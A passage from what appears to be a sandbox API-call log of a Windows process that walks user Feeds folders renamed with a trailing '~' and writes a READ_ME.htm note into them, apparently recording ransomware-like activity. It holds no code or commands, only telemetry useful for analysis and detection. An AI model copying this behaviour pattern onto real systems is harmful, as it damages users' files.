ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 0 [0142.778] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.779] SetErrorMode (uMode=0x0) returned 0x1 [0142.835] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x21cd90, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0142.836] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x3f [0142.836] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x21cb80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0142.838] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x21cd80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0142.838] SetErrorMode (uMode=0x1) returned 0x0 [0142.839] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.839] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.839] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1 [0142.839] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1 [0142.839] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1 [0142.839] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 0 [0142.840] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.840] SetErrorMode (uMode=0x0) returned 0x1 [0142.840] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x21cc30, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0142.841] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\READ_ME.htm", lpFilePart=0x0) returned 0x4b [0142.841] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\READ_ME.htm", lpszLongPath=0x21ca20, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0142.842] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x21ca00, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0142.846] SetErrorMode (uMode=0x1) returned 0x0 [0142.846] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.847] GetFileType (hFile=0x1d0) returned 0x1 [0142.847] SetErrorMode (uMode=0x0) returned 0x1 [0142.847] GetFileType (hFile=0x1d0) returned 0x1 [0142.847] WriteFile (in: hFile=0x1d0, lpBuffer=0x2954a28*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2954a28*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0142.848] CloseHandle (hObject=0x1d0) returned 1 [0142.849] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x21cd90, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0142.850] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x56 [0142.850] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x21cb80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0142.852] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21cd80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0142.853] SetErrorMode (uMode=0x1) returned 0x0 [0142.853] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.853] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.853] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1 [0142.853] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0 [0142.854] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.854] SetErrorMode (uMode=0x0) returned 0x1 [0142.854] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x21cd90, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0142.855] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x56 [0142.855] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x21cb80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0142.856] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21cd80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0142.857] SetErrorMode (uMode=0x1) returned 0x0 [0142.857] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.858] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.858] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1 [0142.858] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0 [0142.858] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.858] SetErrorMode (uMode=0x0) returned 0x1 [0142.859] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21ccd0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0142.860] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x21ccd0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0142.861] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x61 [0142.861] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x21cac0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0142.864] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21ccc0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0142.865] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x21ccc0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0142.866] SetErrorMode (uMode=0x1) returned 0x0 [0142.866] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.866] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.866] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 1 [0142.866] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 0 [0142.867] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.867] SetErrorMode (uMode=0x0) returned 0x1 [0142.868] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21ccd0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0142.873] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x21ccd0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0142.874] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x61 [0142.875] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x21cac0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0142.876] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21ccc0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0142.877] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x21ccc0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0142.878] SetErrorMode (uMode=0x1) returned 0x0 [0142.879] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.879] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.879] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 1 [0142.879] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 0 [0142.879] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.880] SetErrorMode (uMode=0x0) returned 0x1 [0142.880] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21cb70, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0142.881] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x21cb70, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0142.881] 